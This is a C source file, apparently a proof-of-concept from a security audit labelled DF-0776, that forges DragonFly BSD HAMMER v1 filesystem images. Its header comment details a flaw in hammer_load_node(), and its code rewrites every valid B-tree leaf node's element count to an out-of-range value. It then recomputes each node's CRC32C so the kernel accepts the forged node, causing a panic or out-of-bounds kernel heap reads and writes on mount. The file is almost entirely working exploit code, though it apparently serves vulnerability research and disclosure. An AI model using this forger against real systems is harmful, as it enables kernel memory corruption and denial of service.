DF-0776 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /* * craft_img.c - HAMMER v1 image forger for DF-0776. * * DF-0776 root cause: hammer_load_node() (hammer_ondisk.c:1315) validates a * B-tree node loaded from disk ONLY by recomputing its CRC32C. The node's * `count` (int32, offset 16) and `type` (uint8, offset 20) fields are then * TRUSTED UNVALIDATED and used as loop bounds / bcopy lengths against the * fixed-size elms[63] array (hammer_btree.h:244). All in-kernel bounds * checks are KKASSERT (systm.h) -- a no-op on production (INVARIANTS-OFF) * kernels and a panic-only guard on GENERIC. * * This forger: * - locates every B-tree LEAF node in a HAMMER v1 image (type == 'L'), * - sets leaf->count = FORGED_COUNT (e.g. 200, >> HAMMER_BTREE_LEAF_ELMS=63), * - recomputes the node CRC32C over [4:4096) so hammer_crc_test_btree() * (hammer_crc.h:237) accepts the forged node, * so that: * - on GENERIC (INVARIANTS ON) the KKASSERT at hammer_btree.c:1278 * KKASSERT(node->count <= HAMMER_BTREE_LEAF_ELMS) * fires on the first readdir/stat btree_search -> panic. * - on production (INVARIANTS OFF) the KKASSERT is absent and the leaf * search loop at :1289-1290 hammer_btree_search_node()/while(i<count) * reads elms[63..199] out of bounds (OOB kernel-heap read), and an * insert reaches hammer_btree_insert() :819-824 whose * bcopy(&elms[i], &elms[i+1], (count-i)*sizeof(elm)) * writes (200-0)*64 = 12800 bytes out of bounds (OOB heap write). * * Struct offsets are hardcoded from sys/vfs/hammer/hammer_disk.h and * hammer_btree.h (verified against the audit tree). CRC32C is the kernel's * own sys/libkern/icrc32.c (compiled for userspace via #ifndef _KERNEL). * * Build: cc -O2 -o craft_img craft_img.c icrc32.c * (icrc32.c copied verbatim from sys/libkern/icrc32.c) * Usage: ./craft_img <image.img> [forged_count] (default 200) */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <inttypes.h> #include <unistd.h> #include <fcntl.h> /* ---- userspace CRC (the kernel's own iscsi_crc32, from icrc32.c) ---- */ extern uint32_t iscsi_crc32(const void *buf, size_t size); /* ---- HAMMER on-disk constants (hammer_disk.h / hammer_btree.h) ---- */ #define HAMMER_FSBUF_VOLUME 0xC8414D4DC5523031ULL #define HAMMER_BTREE_TYPE_LEAF ((uint8_t)'L') #define HAMMER_BTREE_TYPE_INTERNAL ((uint8_t)'I') #define HAMMER_BTREE_LEAF_ELMS 63 #define HAMMER_BTREE_INT_ELMS 62 /* volume_ondisk field offsets (struct hammer_volume_ondisk) */ #define VOFF_signature 0 #define VOFF_vol_buf_beg 24 #define VOFF_vol_version 152 /* B-tree node (struct hammer_node_ondisk), 4096 bytes */ #define NODE_SIZE 4096 #define NOFF_crc 0 /* hammer_crc_t crc -- MUST BE FIRST */ #define NOFF_count 16 /* int32_t count */ #define NOFF_type 20 /* uint8_t type */ #define NOFF_elms 64 /* union hammer_btree_elm elms[63] */ #define HAMMER_BTREE_CRCSIZE (NODE_SIZE - 4) /* crc covers [4:4096) */ /* little-endian helpers (DragonFly x86_64 guest is LE) */ static uint16_t rd16(const uint8_t *p){ return (uint16_t)(p[0] | (p[1]<<8)); } static uint32_t rd32(const uint8_t *p){ return (uint32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24)); } static uint64_t rd64(const uint8_t *p){ return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) | ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) | ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56); } static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "scratch.img"; int32_t forged_count = (argc > 2) ? atoi(argv[2]) : 200; if (forged_count <= HAMMER_BTREE_LEAF_ELMS) { fprintf(stderr, "forged_count=%d is in-range (<= %d); nothing to prove\n", forged_count, HAMMER_BTREE_LEAF_ELMS); return 1; } int fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* read volume header at offset 0 */ uint8_t vhdr[256]; if (pread(fd, vhdr, sizeof vhdr, 0) != (ssize_t)sizeof vhdr) { perror("pread vhdr"); return 1; } uint64_t sig = rd64(vhdr + VOFF_signature); if (sig != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a HAMMER volume (sig=%016" PRIx64 ")\n", sig); return 1; } uint32_t vol_version = rd32(vhdr + VOFF_vol_version); printf("vol_version=%u (>=7 => iscsi_crc32 / CRC32C)\n", vol_version); if (vol_version < 7) { fprintf(stderr, "WARNING: vol_version=%u (<7) uses crc32 not iscsi_crc32\n", vol_version); } /* get image size */ off_t imgsz = lseek(fd, 0, SEEK_END); printf("image size=%lld bytes\n", (long long)imgsz); printf("forged_count=%d (HAMMER_BTREE_LEAF_ELMS=%d, INT_ELMS=%d)\n", forged_count, HAMMER_BTREE_LEAF_ELMS, HAMMER_BTREE_INT_ELMS); /* scan every 4KB block for B-tree leaf nodes */ uint8_t node[NODE_SIZE]; int patched_total = 0; off_t off; for (off = 0; off + NODE_SIZE <= imgsz; off += NODE_SIZE) { if (pread(fd, node, NODE_SIZE, off) != NODE_SIZE) continue; if (node[NOFF_type] != HAMMER_BTREE_TYPE_LEAF) continue; int32_t count = (int32_t)rd32(node + NOFF_count); if (count < 0 || count > HAMMER_BTREE_LEAF_ELMS) continue; /* skip already-bad */ /* self-check: existing node crc must be valid (confirms real node + our CRC) */ uint32_t stored_nodecrc = rd32(node + NOFF_crc); uint32_t calc_nodecrc = iscsi_crc32(node + 4, HAMMER_BTREE_CRCSIZE); int node_crc_ok = (stored_nodecrc == calc_nodecrc); if (!node_crc_ok) { /* not a real btree node (coincidental 'L' byte) -- skip */ continue; } printf(" @node 0x%llx type=LEAF count=%d (crc ok=%d) -> forging count=%d\n", (long long)off, count, node_crc_ok, forged_count); /* FORGE: count = forged_count */ wr32(node + NOFF_count, (uint32_t)forged_count); /* recompute node crc over [4:4096) */ uint32_t new_nodecrc = iscsi_crc32(node + 4, HAMMER_BTREE_CRCSIZE); wr32(node + NOFF_crc, new_nodecrc); if (pwrite(fd, node, NODE_SIZE, off) != NODE_SIZE) { perror("pwrite node"); } printf(" rewrote node crc: was %08" PRIx32 " now %08" PRIx32 "\n", stored_nodecrc, new_nodecrc); patched_total++; } printf("PATCHED %d leaf node(s). count now %d (>> %d).\n", patched_total, forged_count, HAMMER_BTREE_LEAF_ELMS); if (patched_total == 0) { fprintf(stderr, "ERROR: no valid leaf nodes found -- nothing patched\n"); return 2; } close(fd); return 0; } |